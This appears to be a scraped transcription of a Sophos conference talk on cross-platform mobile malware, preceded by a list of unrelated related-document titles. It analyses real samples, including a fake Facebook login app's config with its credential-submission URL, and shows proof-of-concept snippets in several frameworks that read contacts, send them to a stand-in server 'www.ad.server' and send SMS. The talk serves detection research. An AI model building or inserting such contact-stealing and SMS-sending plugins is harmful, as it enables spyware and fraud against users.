CROSS-PLATFORM MOBILE MALWARE - WRITE ONCE INFECT EVERYWHERE. William Lee & Xinran Wu Email: {william.lee, xinran.wu}@sophos.com.



Similar documents
The OWASP Foundation

BLACK HAT ASIA Singapore, March 2014

Porting Existing PhoneGap Apps to Tizen OS - Development Story

WebView addjavascriptinterface Remote Code Execution 23/09/2013

Hacking your Droid ADITYA GUPTA

BASIC COMPONENTS. There are 3 basic components in every Apache Cordova project:

Development Techniques for Native/Hybrid Tizen Apps. Presented by Kirill Kruchinkin

Cross-Platform Tools

... Introduction Acknowledgments... 19

HybriDroid: Analysis Framework for Android Hybrid Applications

Develop a Native App (ios and Android) for a Drupal Website without Learning Objective-C or Java. Drupaldelphia 2014 By Joe Roberts

place/business fetch details, removefromfavorite () function, 189 search button handler bind, B BlackBerry build environment

Building cross-platform Modern Apps: the Design perspective. Amit Bahree, Senior Director,

the cross platform mobile apps dream Click to edit Master title style Click to edit Master text styles Third level Fourth level» Fifth level

HYBRID APPLICATION DEVELOPMENT IN PHONEGAP USING UI TOOLKITS

Multi-Platform Mobile Application Development Analysis. Lisandro Delía Nicolás Galdámez Pablo Thomas Leonardo Corbalán Patricia Pesado

Advertiser Campaign SDK Your How-to Guide

Smart home appliance security and malware

Reach 4 million Unity developers

BELATRIX SOFTWARE. Why you should be moving to mobile Cross Platform Development? Introduction

Lecture 1 Introduction to Android

Building native mobile apps for Digital Factory

Bridging the Gap: from a Web App to a Mobile Device App

Introduction to PhoneGap

Introduction to Android

Dave Haseman, Ross. Hightower. Mobile Development for SAP* ^>. Galileo Press. Bonn. Boston

How To Write A File Station In Android.Com (For Free) On A Microsoft Macbook Or Ipad (For A Limited Time) On An Ubuntu 8.1 (For Ubuntu) On Your Computer Or Ipa (For

the intro for RPG programmers Making mobile app development easier... of KrengelTech by Aaron Bartell

Introduce Configurable Mobile App Development. Moxie Zhang Esri R&D Center Beijing

OpenCV on Android Platforms

Building Mobile Applications Creating ios applications with jquery Mobile, PhoneGap, and Drupal 7

HTTPS hg clone plugin library SSH hg clone plugin library

What is Android? originally purchased from Android, Inc. in 2005

Making Mobile a Reality

Lecture 4 Cross-Platform Development. <lecturer, date>

Reversing Android Malware

Sandy. The Malicious Exploit Analysis. Static Analysis and Dynamic exploit analysis. Garage4Hackers

Building the next generation of Mobile Apps with Facebook. Bo Zhang Head of Platform Partner Engineering, APAC

Cross-platform mobile development with Visual C

Enterprise Application Security Workshop Series

How to pick the right development model for your next mobile project

Developing and deploying mobile apps

Android Packer. facing the challenges, building solutions. Rowland YU. Senior Threat Researcher Virus Bulletin 2014

Mobile Development Frameworks Overview. Understand the pros and cons of using different mobile development frameworks for mobile projects.

Defending Behind The Device Mobile Application Risks

Best practices building multi-platform apps. John Hasthorpe & Josh Venman

Developing Cross-Platform.NET Apps with ArcGIS Runtime

Your guide to building great apps. Upgrade your skills and update your tools to create the next great app

Hybrid Mobile Development: A Cost-Effective Strategy for Building Cross-Platform Mobile Apps

How To Use Titanium Studio

A Way Out of the Mobile App Development Conundrum

Introduction to Oracle Mobile Application Framework Raghu Srinivasan, Director Development Mobile and Cloud Development Tools Oracle

An Analysis of Mobile Application Development Approaches

Mocean Android SDK Developer Guide

Cross-Platform Development

-Android 2.3 is the most used version of Android on the market today with almost 60% of all Android devices running 2.3 Gingerbread -Winner of

Universal Mobile Ads is a plugin for Unreal Engine 4 that enables the MoPub ad mediation system for ios & Android.

Mobile App Sensor Documentation (English Version)

Mobile Learning Application Based On Hybrid Mobile Application Technology Running On Android Smartphone and Blackberry

Introduction to IBM Worklight Mobile Platform

MENDIX FOR MOBILE APP DEVELOPMENT WHITE PAPER

automated acceptance testing of mobile apps

SYST35300 Hybrid Mobile Application Development

Building Secure Mobile Applications Using MaaS360 SDK and IBM Worklight

Using AllJoyn with Apache Cordova, Python & Node

Enable Your Automated Web App Testing by WebDriver. Yugang Fan Intel

A Guide to Mobile App Development Platforms

ANDROID APPS DEVELOPMENT FOR MOBILE AND TABLET DEVICE (LEVEL I)

PRIVACY AWARE ACCESS CONTROL FOR CLOUD-BASED DATA PLATFORMS

Web-based Hybrid Mobile Apps: State of the Practice and Research Opportunities

The Suitability of Native Application for University E-Learning Compared to Web-Based Application

CROSS PLATFORM DEVELOPMENT The HTML5 Way

Development for Mobile Devices Tools from Intel, Platform of Your Choice!

Mobile Malware and Spyware: Working Through the Bugs. Detective Cindy Murphy

Mobile App Infrastructure for Cross-Platform Deployment (N11-38)

Nikolay Baldzhiev. Pop Hariton Str. 11 Sliven, 8800 Bulgaria

Full version is >>> HERE <<<

CASE STUDY. Enhancing the Patient Experience Harris Mobile Patient Engagement Platform

QML and JavaScript for Native App Development

Getting Started Guide for Developing tibbr Apps

Introduction to Mobile Performance Testing

More details >>> HERE <<<

Login with Amazon Getting Started Guide for Android. Version 2.0

Protecting against Mobile Attacks

ANDROID APP DEVELOPMENT: AN INTRODUCTION CSCI /19/14 HANNAH MILLER

SOFTWARE DEVELOPMENT. Notes for Startup Founders. March 25 th, 2015

Xuan (The STACK Box) Application Development. Xuan (The STACK Box) Application Development

DEVELOPING NFC APPS for BLACKBERRY

Transcription:

CROSS-PLATFORM MOBILE MALWARE - WRITE ONCE INFECT EVERYWHERE William Lee & Xinran Wu Email: {william.lee, xinran.wu}@sophos.com.au

Agenda 1. Cross-Platform Frameworks 2. Existing malware 3. App Package Structure 4. POC: Cross-Platform malware 5. Detection 6. Conclusion 2

3 1. Cross-Platform Frameworks

Mobile Apps and Dev Tools Native Apps Android: Android Studio(Java) ios: Xcode(Objective-C, Swift) Cross-platform Apps Game frameworks Unity(C#), Cocos2d(C++), Marmalade(C++), Construct2(JS) Web-based frameworks PhoneGap(JS), Titanium(JS) General purpose frameworks Xamarin(C#) 4

Why Cross-Platform FW(Framework)? Benefits App authors: Write once Run everywhere Malware authors: Write once Infect everywhere App statistics 15000 12000 9000 6000 3000 unity phonegap cocos2d xamarin 0 Jan-2015 Feb-2015 Mar-2015 Apr-2015 May-2015 Jun-2015 5

Popular Cross-Platform FWs Unity 2D/3D games with Mono(.NET framework) Cocos2d 2D games with C++ PhoneGap Mobile web apps with HTML/JS Xamarin Business apps with Mono FW MonoGame Games with Mono FW 6

7 2. Existing Malware

Existing FW Samples Android sample statistics Total Malware PUA Phonegap 21,937 281 (1.2%) 230 (1.0%) Unity 43,246 179 (0.4%) 3574 (8.2%) Cocos2d 3371 16 (0.4%) 337 (9.9%) Xamarin 1289 0 23 (1.7%) Families SMS senders Fake installers Advertisement libraries for PUA 8

Existing PhoneGap Malware Andr/Cova family: SMS sender Load a html page into a WebView Display a button with text Agree to download and install Send SMS messages to numbers defined in index.html 9 public class MainActivity extends DroidGap { public void oncreate(bundle parambundle){ parambundle = new WecAppInterface(this, this.appview); this.appview.addjavascriptinterface(parambundle, "Android"); super.loadurl("file:///android_asset/www/index.html"); } //from index.html function download() { var cp1 = new Array(); cp1[0] = sms_1_15k; //encoded phone number info cp1[1] = sms_1_10k; Android.ssff(cp1, nd1, cp2, nd2); //sending SMS code }

New Mono FW Malware Andr/Spy: Popular Games on Google Play Cowboy Adventure 500,000 1,000,000 installs from Google Play Jump Chess Images from: http://www.welivesecurity.com/2015/07/09/apps-google-play-steal-facebook-credentials/ 10

11 3. App Package Structure

Native Android/iOS App s Structure Android ios Items Android ios Certificate CERT.RSA Embedded.mobileprovision Signed signature CERT.SF CodeResources Config file AndroidManifest.xml Info.plist Resources resources.arsc res/ folder assets/ folder Root folder Base.lproj/ folder Executables classes.dex lib/ folder HelloWorld 12

Cross-Platform FW Apps 13

Web-based FW - PhoneGap Items Android ios HTML index.html index.html JavaScript index.js index.js Native code classes.dex Main binary http://www.mammoth.com.au/blog/cross-platform-mobile-development-phonegap-vs-xamarin 14

Web-based FW - Titanium Items Android ios JavaScript index.js ApplicationRouting class Native code classes.dex Main binary 15 http://www.slideshare.net/gauravkheterpal/android-development-made-easy-with-appcelerator-titanium

.NET-based FW - Unity Items Android ios C# code Assembly- CSharp.dll.Net libraries System.dll System.core.dll Assembly- CSharp.dll System.dll System.core.dll Native code classes.dex Main binary http://blogs.shephertz.com/2014/02/05/writing-native-ios-and-android-unity-plugins/ 16

.NET-based FW - Xamarin Items Android ios C# code App.dll NA Native code classes.dex Main binary http://www.mammoth.com.au/blog/cross-platform-mobile-development-phonegap-vs-xamarin 17

C++-based FW - Cocos2d Items Android ios C++ app code libcocos2dcpp.so NA Native code classes.dex Main binary http://www.cocos2d-x.org/wiki/engine_architecture 18

19 4. POC: Cross-Platform Malware

POC FW Malware Malicious activities Collect and send contacts info Send SMS Plugin code class AppAd { public String readcontacts(); public void sendsms(string number); } 20

Web-based FW Titanium (1) FW code //index.js var appad = require('org.ad.appad') var contactinfo = appad.readcontacts(); sendhttp('www.ad.server', contactinfo); appad.sendsms('456789'); Package structure 21

Web-based FW Titanium (2) Android native code <plugin wrapper so code> org::ad::appadmodule::readcontacts() org::ad::appadmodule::sendsms() <classes.dex code>.class public AppAd.method public static readcontacts()string.registers 2 return-object v0.end method.method public static sendsms(string)v.registers 4 return-void.end method 22

Web-based FW Titanium (3) ios native code <plugin wrapper class code> ; ComAppadModule - (id)readcontacts LDR R1, [R0] ; "readcontacts" LDR R0, [R2] ; _OBJC_CLASS_$_AppAd B.W _objc_msgsend$shim ; ComAppadModule - (void)sendsms:(id) LDR R1, [R0] ; "sendsms:" LDR R0, [R3] ; _OBJC_CLASS_$_AppAd B.W _objc_msgsend$shim <plugin native class code> ; AppAd + (id)readcontacts MOV R0, #(selref_readcontactsinternal - 0xA8CE) MOV R2, #(classref_appad - 0xA8D0) ADD R0, PC ; selref_readcontactsinternal ADD R2, PC ; classref_appad LDR R1, [R0] ; "readcontactsinternal" LDR R0, [R2] ; _OBJC_CLASS_$_AppAd POP {R7,LR} B.W _objc_msgsend$shim ; AppAd + (void)sendsms:(id) MOV R0, #(selref_sendsmsinternal_ - 0xA90C) MOV R2, #(classref_appad - 0xA90E) ADD R0, PC ; selref_sendsmsinternal_ ADD R2, PC ; classref_appad LDR R1, [R0] ; "sendsmsinternal:" LDR R0, [R2] ; _OBJC_CLASS_$_AppAd MOV R2, R4 BLX _objc_msgsend MOV R0, R4 <ApplicationRouting class code> ; ApplicationRouting + (id)resolveappasset:(id) MOV R0, #(cfstr_alloycontrol_1-0x78c80) ; "alloy/controllers/index_js" ADD R0, PC ; "alloy/controllers/index_js" ADD R2, PC ; +[ApplicationRouting resolveappasset:].data MOV R3, #0xDC90 23

.NET-based FW Unity (1) Android package structure ios package structure 24

.NET-based FW Unity (2) FW code.module Assembly-CSharp.dll.class public auto ansi SampleApp.method private instance void rundemo() { call string AppAdUtil::readContacts() stloc.0 ldarg.0 ldstr awww_ad_server // "www.ad.server" ldloc.0 call instance void SampleApp::sendHttp(string server, string info) ldstr a456789 // "456789" call void AppAdUtil::sendSMS(string) ret } 25

C++-based FW Cocos2d (1) Android package structure lib/libcocos2dcpp.so ios package structure No additional files 26

C++-based FW Cocos2d (2) Android native code <lib/libcocos2dcpp.so> ; _DWORD HelloWorld::runDemo(HelloWorld * hidden this) STR R0, [R11,#var_10] BL _ZN12AppAdWrapper12readContactsEv ; AppAdWrapper::readContacts(void) STR R3, [R11,#var_8] LDR R3, =(awww_ad_server - 0x2A5FF0) ADD R3, PC, R3 ; "www.ad.server" LDR R2, [R11,#var_8] BL _ZN10HelloWorld8sendHttpEPcS0_ ; HelloWorld::sendHttp(char *,char *) LDR R3, =(a456789-0x2a6004) ADD R3, PC, R3 ; "456789" BL _ZN12AppAdWrapper7sendSMSEPKc ; AppAdWrapper::sendSMS(char const*) ios native code <plugin ios native code> org::ad::appadmodule::readcontacts() org::ad::appadmodule::sendsms() 27

28 5. Detection

Analysis tools Static analysis Decompilers for Dex,.NET Dll and Native binaries can be used for code analysis. Runtime analysis Sand boxing tools such as Taintroid, Cuckoo-droid can monitor runtime behaviors. 29

Detection Framework type Check the platform layer s FW specific components from Native code Unity/Mono have classes such as com.unity.* Phonegap have classes such as org.apache.cordova.* Detection Check the FW layer s payload component Unity/Mono check the app dll files 30

Cowboy Sample: App Behavior App Flow Contact their server to get config info in JSON format. Display a fake Facebook login UI. Collect user s account info and check the status with Facebook. If successful, Send the collected info to their server. 31 { "LoginEnable":"1", "UrlHomePage":"https://www.facebook.com/", "UrlLogin":"https://www.facebook.com/login.php?login_attempt=1", "LogoUrl":"http://icons.iconarchive.com/icons/danleech/simple/512/ facebook-icon.png", "UrlToSubmit":"https://tinduongpho.com/webdata/Index2", "CC1":"c_user", "CC2":"xs", "CC3":"csm", "CC4":"datr", "PointLogin":https://www.facebook.com/checkpoint/?next }

Cowboy Sample: App Structure AndroidManifest.xml Activities Fake Facebook activity Game activity Permissions INTERNET ios version Possible scenario /assemblies folder CowboyAdventure.dll TinkerAccountLibrary.dll Mono.Android.dll Mono.CSharp.dll MonoGame.Framework.dll mscorlib.dll System.Core.dll System.dll System.Net.Http.dll System.ServiceModel.dll /lib folder libmonodroid.so libmonosgen-2.0.so 32

Cowboy Sample: App Code Java Activity Class class HomeActivity extends Activity { TypeManager.Activate("CowboyAdventure.HomeActivity, CowboyAdventure, Version=3.3.0.2238, Culture=neutral, PublicKeyToken=null", "", this, new Object[0]);.NET Activity Class 33

Cowboy Sample: Detection Framework type check MonoGame classes info.net payload check TinkerAccount dll info 34

35 6. Conclusion

Conclusion Increasing number of Cross-platform FW apps. Popular games on Google Play turned out to be new Mono FW malware. Cross-platform Malware can be implemented through plug-in architecture. Window 10 Mobile s Bridge supports Android/iOS app. The understanding of App Package Structure is the key to detect new Malware. 36

Q&A Sophos Ltd. All rights reserved.